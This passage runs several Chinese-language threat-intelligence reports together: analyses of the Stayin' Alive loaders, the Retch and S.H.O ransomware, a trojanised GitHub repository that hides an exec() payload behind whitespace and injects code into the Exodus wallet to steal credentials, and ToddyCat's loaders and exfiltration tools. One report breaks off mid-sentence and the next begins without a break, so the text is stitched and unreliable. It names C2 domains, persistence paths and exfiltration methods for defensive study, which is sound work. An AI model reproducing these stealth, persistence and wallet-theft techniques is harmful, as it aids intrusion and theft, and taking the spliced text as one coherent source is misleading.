然後,它使用EnumSystemLocalesA函數來執行從uid創建的shellcode。然後,這個shellcode加載並執行最終的有效負載。

11.png

將UUID轉換為字節並執行提取的shellcode

CurCore負載CurCore有效負載是一個小而有限的後門。執行時,它加載並解析與winhttp.dll中的HTTP請求和kernel32.dll中的CreatePipe相關的函數(從未使用過)。

接下來,它啟動主循環,其中包含負責向CC域ns01.nayatel.orinafz.com發出HTTP請求的子循環。 HTTP請求由以下結構構建:

DWORD custom_checksum; DWORD ukn_1; DWORD message_type; //only being used on ReadFile command WCHAR_T desktop_folder_path[];

custom_checksum是通過對桌面文件夾路徑的WCHAR_T數組中的所有第一個字節求和來計算的。該結構是base64編碼的,並在以下請求中傳輸到服務器:

12.png

接收到的響應也是用base64編碼的,它的第一個DWORD是要執行的命令ID。有效負載總共支持3個功能有限的命令,這表明它只用於初始偵察:

13.png

CurLog加載程序

與同一基礎設施相連的一個加載程序CurLog也被用來針對哈薩克斯坦的主要目標,我們觀察到幾個變體,一些通過DLL執行,另一些通過EXE執行。

CurLog加載程序的一個變體是在一個名為Compatible Products - Vector ver7.1.1.zip的zip文件中提供的,該文件包含一個同名的EXE文件。來自哈薩克斯坦的提交者也上傳了一個同名的DOCX文件,其中描述了一個名為VECTOR的系統及其兼容性。

14.png

VECTOR系統描述

當負載執行時,它通過比較執行路徑與C:\Users\Public\Libraries或檢查它是否使用參數-u運行來檢查它是否會持久性運行。如果沒有,它會添加一個計劃任務,並將自己和合法的exe複製到前面提到的文件夾中。

接下來,它聯繫CC服務器並期望接收解碼的十六進制流。如果成功,它將繼續驗證已解碼的十六進制流是否以MZ或cDM開頭,並將其保存到文件中。最後,它基於生成的文件創建一個進程。

針對越南的攻擊我們發現的最古老的變種(見下文)是通過一個以越南ISP為主題的ISO映像從越南上傳的。嚴重混淆的示例驗證它是否在正確的路徑上執行,就像其他加載程序一樣。如果沒有,它將創建目錄C:\ProgramData\ApplicationData\,並將合法的EXE文件複製到該文件夾中,並將惡意的側面加載的DLL文件mscoree.dll複製到該文件夾中。然後,它將4個硬編碼字節寫入一個新文件v2net.dll,該文件用作活動ID,它獲取計算機名,並發送以下網絡請求:

15.png

然後使用帶有密鑰0x44的簡單異或加密對網絡響應進行解密。接下來,它檢查第一個字節XOR0x09是否等於0x44,第二個字節XOR0xD7是否等於0x8D。你可能會注意到MZ ^0x09D7=0x448d,從中我們可以推斷CC響應應該包含PE文件。然後將接收到的文件寫入AppData\Roaming\ApplicationData\[HEX_STRING]\common.exe並執行。

StylerServ後門研究中,我們注意到許多加載程序的一個共同特徵:它們的編譯時間戳被修改為2015,其標頭值表明它們是使用Visual Studio 2017編譯的。

16.png

副標題顯示Visual Studio 2017(上圖)和2015年的編譯時間戳

繞過這個特徵,我們發現了另外一個示例,該示例由某人上傳,此人也上傳了CurLu加載程序信標的一個變體到127.0.0.1,並在bdch.dll上使用相同的側加載。

新確定的示例名為StylerServ,它與前面提到的加載程序非常不同,因為它被用作被動偵聽器,通過特定端口為特定文件提供服務。當DLL被執行時,它會創建五個線程,每個線程監聽一個不同的端口。在樣本中,我們觀察到以下端口:60810、60811、60812、60813、60814。

17.png

創建監聽特定端口的線程

每隔60秒,每個線程都會嘗試讀取一個名為styles .bin的文件。如果該文件可用且文件大小為0x1014,則認為該文件有效,並在後續線程的網絡請求中提供該文件。這些線程監督套接字上演變的一整套行為。其邏輯本質上是,每個線程都可以接收遠程連接,並提供前面提到的stylesers .bin的加密版本。

具有相同名稱的文件(stylesers .bin)也由同一提交者上傳,並使用XOR加密。在StylerServ後門中不存在解密文件的密鑰,但可以通過執行加密分析獲得。當它被解密時,我們可以看到加密的文件看起來像一種配置文件,包含各種文件格式和一些未知的DWORDS:

18.png

加密配置

19.png

解密配置

受害者研究在我們對這次活動的分析中,我們觀察到亞洲國家的目標一致,即越南、巴基斯坦、烏茲別克斯坦,最突出的是哈薩克斯坦。目標的跡象包括魚叉式網絡釣魚郵件、VirusTotal提交者和文件命名約定。

此外,各種各樣的加載程序和下載程序所使用的域表明,至少有一些目標或最終目標是政府附屬組織,主要在哈薩克斯坦,包括:

pkigoscorp[.]com——很可能是為了模仿https://pki.gov.kz/,哈薩克斯坦國家證書頒發機構。

certexvpn[.]com——哈薩克斯坦政府使用的哈薩克VPN軟件。

此外,有跡象表明,其中一次攻擊是圍繞一個名為qform3d的模擬軟件進行的。這包括使用域名qform3d[.]in的使用以及在壓縮文件QForm V8.zip中傳播文件。惡意軟件託管在一個研究門戶網站上,這表明其目標可能從事研究工作。

幕後組織該活動利用了許多目前未知的工具和技術。不同的加載程序和下載器集合可能代表了該攻擊者的初始攻擊媒介,該組織已在該地區活動多年。

本報告中描述的各種工具都是定制的,僅使用一次,因此,它們與任何已知的工具集沒有明顯的代碼重疊,甚至彼此之間也沒有。然而,它們都與一組基礎設施有關,其中一部分與一個名為todddycat的攻擊者有關。

CurLog和CurLu加載程序使用的兩個域是fopingu[.]com和rtmcsync[.]com,它們在該文章中提到過。這兩個域也顯示了解析到149.28.28[.]159的歷史。

雖然這些重疊並不一定表明“STAYIN’ ALIVE ”活動的幕後主使與ToddyCat的幕後主使是同一組織,但很可能兩者有共同的聯繫,共享相同的基礎設施。

總結如上所述,一次性加載程序和下載器的使用正變得越來越普遍,甚至在老練的攻擊者中也是如此;一次性工具的使用使得檢測和分析工作也在變得更加困難,因為它們經常被替換,並且可能從頭開始編寫,這在“STAYIN’ ALIVE ”活動中很明顯。

本文回顧了針對亞洲電信行業的攻擊活動中使用的一些工具,通過基礎設施分析不同後門之間的聯繫時,我們還發現了與ToddyCat的潛在聯繫,這是一個在該地區活動的已知行動者。雖然我們不能完全肯定ToddyCat是這次活動的幕後組織,但很明顯,兩者都使用了相同的基礎設施攻擊求類似的目標。

FortiGuard實驗室每兩週收集一次感興趣的勒索軟件變體的數據,並發布有關報告,旨在讓讀者了解不斷發展的勒索軟件形勢以及抵禦這些變體的緩解措施,本文要講的是Retch和S.H.O勒索軟件。

受影響的平台:Microsoft Windows;

受影響方:Microsoft Windows用戶;

影響:加密和洩露受害者的文件,並要求贖金解密文件;

嚴重性級別:高;

Retch勒索軟件概述Retch是2023年8月中旬首次發現的一種新的勒索軟件變體,它在受攻擊設備上加密文件,並留下兩張勒索信,要求受害者支付贖金來解密文件。

攻擊媒介雖然目前無法獲得有關Retch勒索軟件攻擊者使用的攻擊媒介的信息,但是它可能與已知其他勒索軟件組織有顯著關聯。

目前,來自以下國家的Retch勒索軟件樣本已提交給公共文件掃描服務:

美國

伊朗

德國

俄羅斯

法國

哥倫比亞

韓國

義大利

一旦勒索軟件運行,它就會查找並加密具有以下文件擴展名的文件:

1.png

以下目錄不支持文件加密:

'Windows'

'Program Files'

'Program Files (x86)'

勒索軟件為加密文件添加了“.Retch”擴展名。

2.png

由Retch勒索軟件加密的文件

然後,它會在每個加密文件的文件夾中放上一條標記為“Message.txt”的勒索信。

3.png

Retch勒索軟件釋放的勒索信

在勒索信中,攻擊者要求受害者支付價值300歐元的比特幣來解密文件,由於贖金要求較低,Retch勒索軟件的攻擊目標很可能是一般消費者而不是企業。如下圖所示,贖金信息有法語和英語兩種版本,這使我們相信Retch勒索軟件主要針對法國用戶。然而,進一步的調查顯示,情況並非如此。

研究人員還發現,放在桌面上的勒索信與“Message.txt”不同。留在桌面上的勒索信標有“HOW TO RECOVER YOUR FILES.txt”,並要求受害者支付價值1000美元的比特幣進行文件解密。這份勒索信有一個不同的聯繫電子郵件地址,其中包括攻擊者的比特幣錢包地址。

4.png

Retch勒索軟件在桌面上留下的勒索信標有“HOW TO RECOVER YOUR FILES.txt”

事實證明,Retch勒索軟件是基於一個公開的勒索軟件源代碼開發的,該源代碼聲稱用於教育目的,似乎是基於一款著名的開源勒索軟件“HiddenTear”。默認情況下,開源勒索軟件的勒索信如下圖所示,攻擊者似乎只在桌面上定制了只有英文的勒索信,而其他所有位置的勒索信都沒有受到影響,這表明Retch勒索軟件並沒有像最初想像的那樣針對法國用戶。如上所述,向公共文件掃描服務提交文件的國家很普遍,這進一步表明研究人員的懷疑是正確的。

在我們進行調查時,攻擊者的比特幣錢包沒有記錄任何交易。

S.H.O勒索軟件概述攻擊媒介目前還沒有關於S.H.O勒索軟件攻擊者使用的攻擊媒介的信息,不過,它可能與已知其他勒索軟件組織有顯著關聯。

S.H.O勒索軟件樣本已提交給以下國家的公共文件掃描服務:

美國;

加拿大;

勒索軟件執行勒索軟件運行後,會對受攻擊設備上的文件進行加密,並添加五個隨機字母和數字作為文件擴展名。

5.png

S.H.O勒索軟件加密的文件

S.H.O嘗試使用以下擴展名加密文件:

6.png

以下文件被排除在所有目錄外:

7.png

排除加密的文件列表

這些目錄也被排除在加密內容之外:

8.png

排除加密的目錄列表

S.H.O使用RSA公鑰和Microsoft“Rijndael Managed”C#庫對每個文件進行加密。

9.png

文件加密例程

在完成加密後,它會用自己的壁紙替換桌面壁紙,要求受害者找到並閱讀文件“readme.txt”,這是一封勒索信。

10.png

被S.H.O勒索軟件取代的壁紙

FortiGuard實驗室發現了兩種S.H.O勒索軟件變體,它們留下了不同的勒索信,儘管勒索信上有屬於攻擊者的不同比特幣地址,但贖金費用始終保持在200美元。

11.png

S.H.O勒索軟件變體留下的勒索信

12.png

另一個S.H.O勒索軟件變體留下的勒索信

贖金信息恐嚇受害者支付贖金,在調查時,這兩個比特幣錢包都不可用。

Fortinet客戶已經通過其AntiVirus和FortiEDR服務受到保護,免受這些惡意軟件變體的影響,如下所示:

FortiGuard實驗室檢測到具有以下殺毒軟件簽名的Retch勒索軟件樣本:

1.MSIL/Filecoder.AK!tr.ransom:

FortiGuard實驗室檢測的S.H.O勒索軟件樣本具有以下反病毒簽名。

2.MSIL/Filecoder.APU!tr.ransom:FortiGuard防病毒服務包括FortiGate、FortiMail、forticclient和FortiEDR。運行當前防病毒更新的Fortinet EPP客戶也受到保護。

IOC 13.png

緩解措施1.由於易受干擾、日常運營受攻擊、對組織聲譽的潛在影響,以及個人身份信息(PII)的不必要破壞或發布等,保持所有AV和IPS簽名的最新性至關重要。

2.由於大多數勒索軟件都是通過網絡釣魚傳播的,組織應考慮利用Fortinet解決方案來培訓用戶了解和檢測網絡釣魚威脅。

3.FortiFish網絡釣魚模擬服務使用真實世界的模擬來幫助組織測試用戶對網絡釣魚威脅的意識和警惕性,並在用戶遇到有針對性的網絡釣魚攻擊時培訓和加強正確的做法。

4.增加內部培訓,幫助最終用戶學習如何識別和保護自己免受各種類型的網絡釣魚攻擊,並可以輕鬆添加到內部培訓計劃中。

5.組織需要對數據備份的頻率、位置和安全性進行根本性的更改,以有效應對勒索軟件不斷演變和迅速擴大的風險。再加上數字供應鏈的攻擊和員工遠程辦公進入網絡,攻擊可能來自任何地方,這是一個真正的風險。

6.基於雲的安全解決方案,如SASE,用於保護離網設備,高級終端安全,如EDR(終端檢測和響應)解決方案,可以在攻擊中期中斷惡意軟件,以及零信任訪問和基於策略和上下文限制,對應用程序和資源的訪問的網絡分段策略,都應該進行調查,以最大限度地降低風險並減少成功勒索軟件攻擊的影響。

作為業界領先的完全集成安全結構的一部分,Fortinet還提供了廣泛的技術和基於人工的即服務產品組合,為你的安全生態系統提供本地協同和自動化。

7.CISA、NCSC、FBI和HHS等組織警告勒索軟件受害者不要支付贖金,部分原因是贖金並不能保證文件會被找回。

隨著技術的發展,世界之間的聯繫變得更加緊密,攻擊者使用的技術也在不斷發展。攻擊者通過不斷地利用供應鍊和代碼庫中復雜的相互依賴關係,對組織、個人和社區造成重大風險。

近年來最令人擔憂的攻擊趨勢之一是供應鏈攻擊的增加,尤其是那些對代碼庫的攻擊,這是全球網絡安全領域的一個難題。根據歐盟網絡安全機構(ENSA)發布的一份報告,62%的組織受到第三方網絡事件的影響,只有40%的受訪組織表示他們了解第三方網絡和隱私風險。更令人擔憂的是,38%的受訪組織表示,他們不知道哪些網絡問題是由第三方組件引起的,最近涉及供應鏈的網絡攻擊包括Apache Log4j, SolarWinds Orion和3CX的3CXDesktopApp。

在現代軟件開發中,開發人員依賴第三方組件來簡化開發過程,這使開發人員能夠創建成本效益高、效率高且功能豐富的應用程序。但是,當這些受信任的組件受到攻擊時會發生什麼?

攻擊者可以通過組織供應鏈中不太安全的元素,如第三方供應商或軟件存儲庫間接滲透系統,甚至允許他們破壞受信任的組件,從而在更大、更安全的環境中獲得立足點。惡意代碼經常嵌入看似合法的軟件庫中,當開發人員集成這些組件,就會不知不覺地將漏洞和其他網絡安全風險引入他們的核心系統。

本文深入研究了攻擊者在看似合法的應用程序和代碼庫中植入惡意有效負載的複雜方法,並以最近示例作為研究對象。

技術分析攻擊者復制合法GitHub存儲庫的示例研究,然後用惡意代碼進行木馬化和攻擊,策略性地用關鍵字填充其存儲庫描述部分,以最大限度地提高其在GitHub搜索中的可見性。

通過此分析,我們可以深入了解攻擊者攻擊第三方組件的攻擊過程和技術,以下部分將使用活動命令與控制(CC)服務器研究其中一個被木馬化的項目,了解其內部工作原理。

通過exec smugglingweb請求發起攻擊1.png

Discord-Boost-Tool的存儲庫名稱和存儲庫的所有者

在所舉示例中,攻擊的第一階段採用了一種我們稱之為exec smuggling的新技術。該技術在一長串空白字符之後放置一個有效負載,將惡意內容從屏幕上推送出去。使用這種技術,下一階段通過惡意請求調用檢索,≠≠使用Python內置方法exec()執行。接下來,我們將根據示例概述exec smuggling 的具體實現步驟。

導入必要的依賴項在導入request和fernet之前,惡意軟件使用以下命令在Python中安裝必要的依賴項,通過該命令安裝依賴項包:

2.png

惡意軟件安裝並導入必要的依賴項

將惡意代碼對象移出白名單攻擊者會添加一長串空白字符(在本例中是521個空格),將惡意代碼移出白名單,從而隱藏代碼對象,不被人發現。

3.png

使用exec()執行惡意負載

最後,通過調用Python的exec方法來執行代碼對象。以下是解密後的惡意代碼片段:

4.png

此代碼對象向攻擊者的命令和控制(CC)服務器發出web請求,該服務器包含惡意負載,然後導致第二階段的攻擊。

5.png

執行走私後攻擊進入第二階段

攻擊的第二階段據分析,攻擊的第二階段側重於為進一步開發準備攻擊環境。

設置環境第二階段包括準備環境的滴管,最初,它安裝一系列Python包,如requests、httpx、pyperclip、pyotp、winregistry、psutil、pycryptodomex和asyncio等。然後,它識別用戶系統上安裝的所有Python版本,並檢查每個版本的site-packages中是否存在Cryptodome目錄。如果找到,它將此目錄複製為Crypto,可能是為了確保與原有庫的向後兼容性。隨後,腳本創建一個解密有效負載,將其寫入用戶APPDATA目錄中的一個名為pl.py的文件,在執行它而不顯示窗口。

6.png

第二階段使用Python的子進程模塊進一步準備環境

攻擊的第三階段環境準備好後,惡意軟件進入攻擊過程的第三階段。

BlackCap-Grabber第三階段包含一個修改版的開源信息竊取項目,名為BlackCap-Grabber。它具有以下功能:

提取瀏覽器密碼、cookie和瀏覽歷史記錄;

檢索系統信息;

從應用程序和工具(如Steam, MetaMask和Exodus)竊取登錄憑據;

繞過TokenProtector;

劫持Windows剪貼板以更改加密貨幣地址,將其內容替換為攻擊者的錢包地址以及其他功能。

重要的是,原來的BlackCap-Grabber包括雙鉤(dual hook)技術,使用這種技術,代碼的開發者也將收到由攻擊者(BlackCap-Grabber用戶)竊取的信息的副本。像BlackCap-Grabber-NoDualHook這樣的項目會從源代碼中移除植入的DualHook。

在執行時,惡意軟件將受攻擊系統的ComputerName發送到其CC服務器。然後安裝必要的Python包以確保惡意軟件的功能。請注意,此代碼不是原始BlackCap-Grabber的一部分,而是由攻擊者添加的。

7.png

惡意軟件發送帶有受害者計算機名的POST請求,並安裝額外的依賴項

下圖展示了由惡意軟件及其處理受害者信標的請求處理程序生成的初始網絡流量的示例。

8.png

向包含受害者用戶名的/downloadhandler發出POST請求

攻擊者添加的另一個功能是出口注入(exodus-injection),這在原始的BlackCap-Grabber源代碼中不存在。出口注入允許攻擊者使用攻擊技術從Exodus Crypto Wallet(一種受新加密貨幣用戶歡迎的加密貨幣錢包)竊取憑證和其他敏感信息。攻擊者在其攻擊鏈中使用多個開源的Exodus-Injection項目(https://github.com/loTus04/Exodus-Injection和https://github.com/dropout1337/exodus-injection)。

9.png

BlackCap-Grabber配置

BlackCap-Grabber的主要功能是劫持Windows剪貼板以更改加密貨幣地址,從受攻擊的系統中檢索敏感信息,並從各種web瀏覽器將其保存到文件中以供洩露。

10.png

BlackCap-Grabber準備敏感信息,如瀏覽器cookie、加密貨幣地址和剪貼板信息

11.png

BlackCap-Grabber使用upload()方法處理敏感信息數據,以便上傳到攻擊者的基礎設施

12.png

BlackCap-Grabber使用LoadRequests方法從受害者發送POST請求以進行數據提取

使用上圖中的邏輯,攻擊者向基礎結構發送包含洩露的密碼、cookie和加密貨幣地址的POST請求。

13.png

攻擊者通過POST請求將洩露的數據發送到/handler終端

在此示例中,惡意軟件將包含瀏覽器cookie等內容的惡意包從受攻擊系統中洩漏到攻擊者控制的主機。攻擊者使用web請求處理程序來處理從受害設備上成功竊取的包。

14.png

另外一個密碼示例通過POST請求發送到/handler終端

以上是我們發現的附加POST請求,其中包含由攻擊者從受攻擊的受害者向處理程序/句柄洩露的敏感信息。

探索Exodus和ElectronJS組件經過調查,我們確定Exodus桌面錢包是使用ElectronJS框架構建的,基於本地Exodus安裝的資源目錄中存在的app.asar文件,該框架用於捆綁和打包應用程序的資源。 Asar壓縮文件類似於.zip或.tar文件,但專門為ElectronJS應用程序設計。

攻擊鏈第三階段的一個主要組成部分涉及通過操作底層的ElectronJS應用程序在受攻擊用戶的設備上植入惡意的Exodus桌面錢包應用程序,這使得攻擊者可以竊取與Exodus錢包相關的憑證,從而實施攻擊,並最終竊取屬於受害者的加密貨幣和不可替代代幣(nft)。

ElectronJS和Exodus這兩個漏洞是由關聯的。早在2018年,基於遠程代碼執行漏洞CVE-2018-1000006(CVSS 8.8)的Electron就可以被利用。研究人員很快指出,攻擊者可以通過濫用電子協議處理程序來利用這個漏洞。

如前所述,ElectronJS應用程序被打包為app.asar壓縮文件,其中包含應用程序的源代碼和各種應用程序資產。 Asar壓縮文件類似於.zip或.tar文件,是專門為ElectronJS應用程序設計。

什麼是Exodus?Exodus是一個數字資產平台,允許用戶存儲、管理和交換加密貨幣和NFT。

Exodus提供各種錢包,如Web3錢包、移動錢包、桌面錢包、Trezor硬件錢包,以及與加密貨幣應用程序的集成。

Exodus桌面錢包應用程序Exodus桌面錢包(Exodus Desktop Wallet)是Exodus的桌面應用程序。 Exodus桌面錢包支持所有主要的操作系統,如微軟、MacOS和Linux,通過用戶友好的圖形用戶界面(GUI),可以存儲和交易主要的加密貨幣和NFT。

通過web GUI訪問Exodus桌面錢包Exodus桌面錢包提供了一個直觀的界面來訪問加密貨幣錢包。解鎖加密貨幣錢包需要密碼,如Exodus桌面錢包應用程序GUI所示。

在設置用於備份錢包的助記符秘密短語時,Exodus會讓用戶打印助記符密鑰作為安全設備。

15.png

使用物理助記鍵恢復Exodus錢包

當用戶試圖恢復錢包時,Exodus可能會要求他們參考助記秘鑰的打印副本,並根據提供的數字選擇正確的單詞。出於安全考慮,Exodus被設計成一個使用密碼和助記短語組合的自我保管錢包。

探索Exodus ElectronJS應用程序的主要組件Exodus桌面錢包的app.asar文件可以解壓縮到目標目錄。在這個目錄中,我們看到了應用程序的根目錄,其中包括node_modules、src和應用程序的package.json。

16.png

Exodus桌面錢包的NodeJS後端

17.png

關鍵後端文件相關的Exodus桌面錢包

Exodus ElectronJS應用程序的主要組件包括應用程序的主邏輯(包含在src/app/main/index.js中)、錢包組件(包含在src/app/wallet/index.js中)和表示邏輯(包含在src/app/static/中),後者將NodeJS後端文件導入到應用程序的前端表示中。

正在攻擊Exodus桌面錢包的ElectronJS應用程序通過使用注入技術,攻擊者可以通過替換app.asar壓縮,將Exodus桌面錢包的ElectronJS應用程序替換為惡意的ElectronJS應用程序,該壓縮文件由Exodus桌面錢包讀取。這個應用程序是一個全功能的複製品Exodus桌面錢包,攻擊者將其功能改變,以竊取錢包信息,包括密碼和助記符信息。

18.png

inject()函數負責注入惡意的Exodus桌面錢包

在上圖所示的代碼中,攻擊者執行一系列檢查,以確定受攻擊的設備是否安裝了Exodus Desktop Wallet。

下面的代碼片段是在Windows安裝中Exodus應用程序使用的app.asar文件的位置。

Exodus錢包桌面Windowsapp.asar路徑:

19.png

同時,下面的代碼片段是Linux安裝中Exodus應用程序使用的app.asar文件的位置:

Exodus錢包桌面Linuxapp.asar路徑:

20.png

如果發現Exodus,惡意代碼將繼續如下操作:

1.從攻擊者控制的基礎設施下載並讀取惡意修復的app.asar文件。

2.終止現有的Exodus進程。

3.將惡意的app.asar寫入Exodus應用程序資源目錄中的Exodus app.asar文件中。

如果在設備上找不到Exodus桌面錢包的行為如果在目標設備上沒有找到Exodus,惡意代碼將繼續下載文件stromrechung.py到\Microsoft\Windows\Start Menu\Programs\Startup。該文件將在系統啟動時執行。

21.png

如果沒有找到Exodus,“miner.exe”將從另一個攻擊者域下載並安裝

22.png

Python用於執行惡意批處理文件,其中包含“miner.exe”的下載和運行邏輯。

惡意文件stromrechnung.py是一個python文件,包含以下邏輯:

1.為Windows批處理文件創建一個Python函數;

2.使用陸地驅動程序(LoLDrivers)編寫邏輯以繞過UAC;

3.編寫PowerShell命令將加密貨幣挖礦器(miner.exe)下載到受害者的設備上;

4.運行Python函數,該函數使用subprocess.popen 方法執行批處理文件。

在Exodus桌面錢包的ElectronJS應用程序中註入代碼在示例中,有三個不同的文件被攻擊者改變了,具體將在後面介紹。

惡意注入後端unlock()函數(src/app/wallet/index.js)主要注入發生在src/wallet/index.js中,攻擊者在解鎖函數中註入惡意POST請求。 POST請求包含錢包密碼、助記密鑰和錢包目錄。

23.png

文件src/app/wallet/index.js被攻擊,洩露密碼、助記符和錢包信息給攻擊者

允許打開錢包域(4.9.1.2. src/app/main/index.js)即使在乾淨的Exodus應用程序將錢包域限制為Exodus的位置,攻擊者也可以修改主index.js文件以允許所有錢包域。

24.png

文件src/app/main/index.js修改域名列表以允許所有錢包域名

4.9.1.3. src/static/wallet.html:禁用內容安全策略(CSP)內容安全策略(CSP)作為一個額外的安全層,用於識別和抵禦特定形式的攻擊,例如跨站點腳本(XSS)和數據注入攻擊。 connect-src指令限制了可以通過腳本接口加載的url。

25.png

文件src/app/main/index.js被修改為禁用應用程序的CSP

我們發現,攻擊者有效地禁用了CSP,以允許從所有url到Exodus wallet.js組件的數據連接。

Discord-Boost-Tool GitHub存儲庫接下來,我們將探討Discord-Boost-Tool的特性及其一些有趣的組件。

discord-boost-tool的起源在本文所列舉的示例中,受攻擊的Discord-Boost-Tool源自2022年底的原始Discord-Boost-Tool存儲庫。這個工具允許用戶使用NitroBot帳戶來提升他們的Discord服務器,它被GitHub用戶PatrickPagoda迅速分叉(fork)並修改,通過惡意PyPi包攻擊不知情的用戶,該用戶多次將惡意Python包上傳到PyPi註冊表中。值得一提的是,與PatrickPagoda相關的原始GitHub帳戶在7月底至8月的某個時候

SL_featured_ToddyCat-1200x600.jpg

ToddyCat是一個相對較新的複雜APT組織,卡巴斯基研究人員最早在2020年11月檢測到該組織的活動,當時該威脅組織正在對目標的Microsoft Exchange服務器進行一系列攻擊,去年的一篇文章曾描述過它。

之後,該組織於2020年12月開始活動,並對歐洲和亞洲的知名對象發動了多起攻擊。

在去年,我們發現了一組新的全新加載程序,並收集了有關其開發後活動的信息,這使我們能夠擴展對該組織的了解,並獲得有關攻擊者的TTP(戰術,技術和程序)的新信息。接下來,我們將描述他們的新工具集,用於竊取和洩露數據的惡意軟件,以及該組織用於橫向移動和進行間諜活動的技術。

工具集標準的加載器加載程序是64位庫,由rundll32.exe調用,或者用合法的和簽名的可執行文件進行側加載,這些組件在感染階段用於加載Ninja木馬作為第二階段。我們已經看到了這些新加載器的三種變體:

1.png

第一個變體的文件名為update.dll或x64.dll,通常使用合法的rundll32.exe Windows實用程序加載,大多數惡意代碼駐留在DllMain中,但下一個階段是通過導出的Start函數調用的,其他兩個變體應該與合法的VLC.exe媒體播放器一起加載,這被濫用來加載惡意庫。

加載程序通過從同一目錄中應該存在的另一個文件加載加密的有效負載來啟動其活動,然後使用異或對加載的數據進行解碼,其中異或項是使用一種不尋常的技術生成的。惡意軟件使用靜態種子(static seed)通過shuffle和add操作生成256字節的XOR_KEY塊。

2.png

使用另一個嵌入的64字節IDX塊作為索引再次對生成的XOR_KEY塊進行改組,以獲得特定的256字節XOR鍵,XOR密鑰用於解密文件內容,並將結果值加載到內存中。

Update A和VLC A在其進程地址空間中加載下一階段,解密的有效負載應該是一個庫,該庫導出具有特定名稱的函數:“Start”或“_”,具體要看變體。

變體VLC B創建一個新的wusa.exe (Windows Update Standalone Installer)進程,這是一個位於System32目錄下的合法Windows程序。然後,它將解密的有效負載注入遠程進程地址空間的地址空間,並使用CreateRemoteThread函數運行它。

定制的加載程序調查時,我們注意到在攻擊某些目標時,攻擊者用另一種變體替換了標準加載程序,我們稱之為定制加載程序,因為加密文件是為特定係統量身定制的。

該代碼與標準加載器變體VLC a類似,主要區別在於加密文件的位置和文件名(%CommonApplicationData%\Local\user.key

)以及用於獲取最終有效負載的解密方案。使用上面提到的相同算法,其中使用XOR_SEED生成256字節的XOR_KEY塊,然後使用另一個嵌入的64字節IDX塊將其混合,在混合兩個塊之前,惡意軟件會收集PhysicalDrive0的存儲屬性,從而獲得硬盤的型號。

3.png

用於獲取存儲屬性的代碼片段

並使用GetVolumeNameForVolumeMountPointA函數來檢索“C:\”卷GUID。

4.png

用於獲取卷GUID的代碼片段

這兩個值連續用作修改IDX塊的異或項。這種方法表明存儲在user.key的加密有效負載是為目標系統量身定制的。

據觀察,定制加載器用於保持長期持久性。用於實現此目標的技術與攻擊者的Samurai後門所使用的技術相同,後者允許攻擊者將惡意軟件隱藏在svchost.exe地址空間中。

在這種情況下,攻擊者創建以下註冊表項:

5.png

此註冊表項旨在強制合法的svchost.exe進程在系統啟動期間加載FontCacheSvc服務。進程的命令行看起來像這樣:

C:\Windows\system32\svchost.exe -k fontcsvc -s fontachesvc

攻擊者還創建一個新的服務,該服務被配置為加載定制的加載程序,該加載程序通常存儲在文件名apibridge.dll中。

6.png

Ninja由前面描述的組件加載的最後一個階段是Ninja代理。這是一種用c++編寫的複雜惡意軟件,可能是ToddyCat開發的未知利用後工具包的一部分。我們之前介紹過。

代理是一個提供各種功能的強大工具,包括但不限於:

運行進程的枚舉和管理;

文件系統管理;

管理多個反向shell會話;

向任意進程注入代碼;

在運行時加載附加模塊(可能是插件);

代理功能,用於在C2和遠程主機之間轉發TCP數據包。

代理的最新版本支持與上一個報告中描述的相同的命令,但是配置不同。雖然以前的版本使用XOR項0xAA混淆了嵌入式配置,但新版本使用NOT二進制操作來實現相同的目的。

儘管配置中包含的信息保持不變,但互斥對象名稱已移到HTTP標頭之後。

LoFiSe

這是一個用於查找和收集目標系統上感興趣文件的組件。 LoFiSe這個名字來源於這個工具使用的互斥對象名稱(' MicrosoftLocalFileService '),該工具本身是一個名為DsNcDiag.dll的DLL文件,使用DLL側加載技術啟動。使用軟件包“Pulse Secure Network Connect 8.3”中具有數字簽名和原始名稱為“nclauncher.exe”的合法可執行文件作為加載程序。以下路徑和文件名在被攻擊的系統上是已知的:

C:\ProgramFiles\WindowsMail\AcroRd64.exe

C:\ProgramFiles\WindowsMail\DsNcDiag.dll

C:\ProgramFiles\CommonFiles\VLCMedia\VLCMediaUP.exe

C:\ProgramFiles\CommonFiles\VLCMedia\DsNcDiag.dll啟動後,LoFiSe開始跟踪文件系統中的更改。系統中的所有驅動器都被監控。在收到文件創建或修改事件後,該工具執行幾次檢查。過濾大小大於6400000字節( 6mb)的文件。某些文件夾中的文件也會被過濾。這些都是在其完整路徑中包含ProgramData的文件,或者已經存儲在LoFiSe工作目錄中的文件。

以下是工具存儲文件的工作目錄,具體取決於版本:

C:\Programdata\Microsofts\

C:\windows\temp\在下一階段,根據以下掩碼檢查文件擴展名:

7.png

如果文件通過了所有的檢查並且適合收集,LoFiSe就會計算它的MD5哈希值,並用它來檢查以前複製的文件,並將此信息存儲在數據庫中。在該工具的所有已知版本中,數據庫文件稱為Date.db,並在工作目錄中創建。數據庫中添加了兩個表:

8.png

數據庫中的文件路徑

9.png

其他存儲數據

如果MD5文件不在表中,它將被添加到工作目錄中。

每隔三個小時,LoFiSe將工作目錄中的所有文件收集到一個有密碼保護的ZIP-archive中,並將其放入一個單獨的文件夾中以供進一步竊取:

10.png

準備收集數據時產生的日誌

DropBox上傳器這是一個通用的DropBox上傳器,任何人都可以使用它將數據上傳到流行的文件託管服務。這個工具可能不是todddycat唯一使用的,但我們觀察到該組織使用它來竊取被盜的文件,

這個小實用程序接受DropBox用戶訪問令牌作為參數。然後,它解析當前工作目錄並上傳具有以下擴展名的文件:

11.png

調查中,我們還發現了其他幾個類似的樣品,這些樣品由不同的包裝商保護,只在東南亞檢測到。然而,在某些示例中,該工具是在沒有明顯被ToddyCat感染的系統上發現的。

Pcexter這是另一個用於將存檔文件洩露到微軟OneDrive的上傳程序。該工具作為名為Vspmsg.dll的DLL文件傳播,該文件使用DLL側加載技術執行,作為加載器,該工具使用來自Visual Studio的合法可執行文件VSPerfCmd,該文件用於收集性能數據。這些可執行文件在受攻擊系統上的已知路徑如下:

c:\windows\temp\googledrivefs.exeC:\windows\temp\vspmsg.dll

c:\programfiles\windowsmail\securityhealthsystray64.exec:\programfiles\windowsmail\vspmsg.dll

c:\programfiles\commonfiles\vlcmedia\vlcmediastatus.exec:\programfiles\commonfiles\vlcmedia\vspmsg.dll這個工具需要以下參數:

12.png

啟動後,Pcexter等待事件“Global\SystemLocalPcexter”觸發,然後開始使用給定的掩碼在指定目錄中搜索文件。這是LoFiSe工具在創建要發送的存檔時設置的事件。

Pcexter使用OneDrive OAuth 2.0授權,檢索訪問令牌並通過POST方法發送文件:

13.png

